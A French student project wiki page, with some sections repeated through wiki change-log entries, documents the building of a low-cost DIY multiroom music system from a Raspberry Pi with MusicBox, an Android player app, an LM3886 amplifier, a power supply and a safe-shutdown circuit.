Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. 
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.

 
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :
 
[[Fichier:P4_veilletechno.png|500px]] 

=====Pi MusicBox=====

Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. 
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. 
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA. 

Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi : 
[[Fichier:P4_MUSICBOX.png|500px]]
 
 
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance]. 
[[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android BubbleUPnP]]

Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers "BedRoom1" : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&hl=fr BubbleUPnP]. 

Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.
 

====Réunion====

Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées. 
[[Fichier:P4_Sprint2.png|700px]]

====Etat en fin de sprint====

L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte
*Réaliser le PCB du circuit d’amplification à base de LM3886 

===Sprint #3 (05/01/2016) Objectif : Ampli audio & Réalisation de notre propre application Android===

====Préparation====
=====Application Android=====

Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]
 
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.
 
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.
 
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.

 
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.
 
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local. 

=====Amplificateur Audio=====

Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]
 
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.
 
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.
 
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm. 
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]
 
La version quasiment finale du PCB est donc la suivante :
 [[Fichier:P4_PCB_Ampli.PNG|470px]]
 
'''Principe de l'Amplificateur Audio'''
 
[[Fichier:P4_Ampli_Principe.png|600px]] 

 
Nous avons commandé
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2)) 
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886. 
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]

====Etat en fin de sprint====

Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques
*Le PCB n’a pas encore été tiré
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.
 

===Sprint #4 (18/01/2016) Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===

====Préparation====

'''Partie Hardware'''

=====Amplificateur=====

La version finale de notre carte d'amplificateur est la suivante :
 
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]
 
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo). 
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle. 

=====Alimentation=====

Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module. 
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]

Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu). 
Son principe de fonctionnement est le suivant : 

Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant : 
[[Fichier:Principe_Alim_1.png|400px]] 

Après double redressement par le pont de Graetz, on se retrouve avec ce signal : 
[[Fichier:Principe_Alim_2.png|400px]] 

Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé : 
[[Fichier:Principe_Alim_3.png|400px]] 

La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de "ronflement". 
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel ! 

On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) : 
[[Fichier:Supply Schematics.png|700px]] 
NB : Le composant "KB1" est notre pont de Graetz (pont de diodes). 

Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer. 
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique. 
* Influence de la valeur capacitive d'entrée du filtre (C1+C3) 
[[Fichier:InfluenceCapaEntree.png|400px]] 
Plus elle est élevée, plus la tension efficace de sortie sera élevée. 
* Influence de la valeur de R1 
[[Fichier:InfluenceResistance.png|400px]] 
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple) 
* Influence de la valeur capacitive de sortie du filtre (C5+C7) 
[[Fichier:InfluenceCapaSortie.png|400px]] 
Plus la capacité de sortie est importante, plus on limite le ripple. 

=====Boîtier du module=====

Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique. 
Il nous a suffi de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]
* des boutons
* le bouton principal de volume sonore
* Un haut-parleur passif interne au module
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)
* Un switch pour passer du haut-parleur externe au haut-parleur interne
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur 
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]

ainsi qu'un design musical. 

Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse]. 

=====Circuit ON/OFF=====

La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre. 
En effet, l'extinction "brutale" pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées ! 
Pour "extinction brutale", comprenez
* Débranchement de la prise d'alimentation principale par l'utilisateur
* Coupure de courant

Nous avons donc pensé à un circuit à base de condensateurs et de relais : 
[[Fichier:DriverButtons_Schematics_2.png|700px]] 
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF "normal", comprenant les boutons sur lesquels l'utilisateur agira. 
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF) 

'''Explication du circuit ON/OFF "normal" :''' 
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2) 
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --> La RPi ne sera donc plus alimentée. 
Pour éviter cela, on active une sortie de la RPi (Pin 3 de "To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.
*Pour l'extinction, on ajoute un retour (pin 6 de "To GPIO") qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi. 

'''Explication du circuit de sécurité (encadré en rouge) :''' 
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de "To GPIO") pour lancer le script d'extinction de celle-ci.
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile. 

Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement) 
(Face TOP / Face BOTTOM) 
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]] 

***REVISION B*** : 
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : 

[[Fichier:DriverButtonsREVB_Schematics.png|500px]] 
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]

Fichier:DriverButtons Schematics 2.png

2016-02-21T18:36:33Z

Jherin12 : a téléversé une nouvelle version de « Fichier:DriverButtons Schematics 2.png »

P4 Jukebox multi-pièces

2016-02-21T18:02:36Z

Jherin12 : /* Boîtier du module */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).

====Objectif du projet====

Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.
 [[Fichier:P4_Presentation_Modules.png|650px]]

====Description du projet====

Pour arriver au bout de ce projet, il conviendra de développer :

* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)
* Une application sur Smartphone permettant de commander le système

====Choix techniques : matériel et logiciel====

'''Matériel envisagé :'''

* Plateforme Linux embarqué (Raspberry Pi)
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]

* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi 

'''Logiciels envisagés :'''

* Création d'une application pour Android avec Android Studio
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)

 

====Architecture des modules====
=====Présentation des modules=====

[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]

Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté. 
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''.
 Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.

=====Type de module 1=====

Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''. 
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.

=====Type de module 2=====

Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''.
 Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''. 
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.

 
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.
 [[Fichier:P4_Principe_Chaine_Transmission.png|500px]] 

===Étapes du projet===

* Définition du cadre du projet
* Création du cahier des charges
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)
* Développement du logiciel de diffusion de l'ordinateur central
* Développement de l'application mobile

=== Objectifs à long terme ===

=====Une solution DIY pour des coûts maitrisés=====

Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher. 

Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2). 

Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+. 
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite. 

==Suivi de l'avancement du Projet==

'''Planning prévisionnel mis à jour :''' 
[[Fichier:P4 Gantt.png|1000px]]

===Semaine 1 (21/09/2015)===

Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. 

Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :

* La Raspberry pi qui recevrait le flux via le réseau wifi
* Une carte son USB pour améliorer la qualité du signal
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son
* Des enceintes passive pour diffuser la musique

Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]

===Semaine 2 (28/09/2015)===

Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution "low cost" que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros). 

En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''. 

Les points clés du projet seraient :
* Entièrement réalisable soi-même
* Coût maîtrisé
* Modulable
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)
 

===Fonctionnement par SPRINT===
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''"sprint"''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges.
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. 
 

===Sprint #1 (15/10/2015) Objectif : Envoyer un flux musical vers une enceinte déjà existante===

====Préparation====

A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte. 

Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes. 

On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt. 
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.

====Réunion====
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac. 
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu. 

====Etat en fin de sprint====

On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :
*Réaliser une veille technologique complète sur les solutions existantes
*Se concentrer sur l’application mobile dans un premier temps.
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.

 

===Sprint #2 (10/11/2015) Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===
====Préparation====
=====Veille technologique=====

Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. 
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.

 
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :
 
[[Fichier:P4_veilletechno.png|500px]] 

=====Pi MusicBox=====

Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. 
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. 
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA. 

Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi : 
[[Fichier:P4_MUSICBOX.png|500px]]
 
 
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance]. 
[[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android BubbleUPnP]]

Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers "BedRoom1" : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&hl=fr BubbleUPnP]. 

Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.
 

====Réunion====

Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées. 
[[Fichier:P4_Sprint2.png|700px]]

====Etat en fin de sprint====

L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte
*Réaliser le PCB du circuit d’amplification à base de LM3886 

===Sprint #3 (05/01/2016) Objectif : Ampli audio & Réalisation de notre propre application Android===

====Préparation====
=====Application Android=====

Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]
 
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.
 
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.
 
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.

 
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.
 
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local. 

=====Amplificateur Audio=====

Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]
 
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.
 
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.
 
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm. 
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]
 
La version quasiment finale du PCB est donc la suivante :
 [[Fichier:P4_PCB_Ampli.PNG|470px]]
 
'''Principe de l'Amplificateur Audio'''
 
[[Fichier:P4_Ampli_Principe.png|600px]] 

 
Nous avons commandé
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2)) 
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886. 
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]

====Etat en fin de sprint====

Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques
*Le PCB n’a pas encore été tiré
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.
 

===Sprint #4 (18/01/2016) Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===

====Préparation====

'''Partie Hardware'''

=====Amplificateur=====

La version finale de notre carte d'amplificateur est la suivante :
 
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]
 
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo). 
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle. 

=====Alimentation=====

Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module. 
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]

Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu). 
Son principe de fonctionnement est le suivant : 

Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant : 
[[Fichier:Principe_Alim_1.png|400px]] 

Après double redressement par le pont de Graetz, on se retrouve avec ce signal : 
[[Fichier:Principe_Alim_2.png|400px]] 

Après filtrage par les condensateurs, on se retrouve avec un signal élevé et lissé : 
[[Fichier:Principe_Alim_3.png|400px]] 

La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de "ronflement". 
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel ! 

On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) : 
[[Fichier:Supply Schematics.png|700px]] 
NB : Le composant "KB1" est notre pont de Graetz (pont de diodes). 

Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer. 
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique. 
* Influence de la valeur capacitive d'entrée du filtre (C1+C3) 
[[Fichier:InfluenceCapaEntree.png|400px]] 
Plus elle est élevée, plus la tension efficace de sortie sera élevée. 
* Influence de la valeur de R1 
[[Fichier:InfluenceResistance.png|400px]] 
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple) 
* Influence de la valeur capacitive de sortie du filtre (C5+C7) 
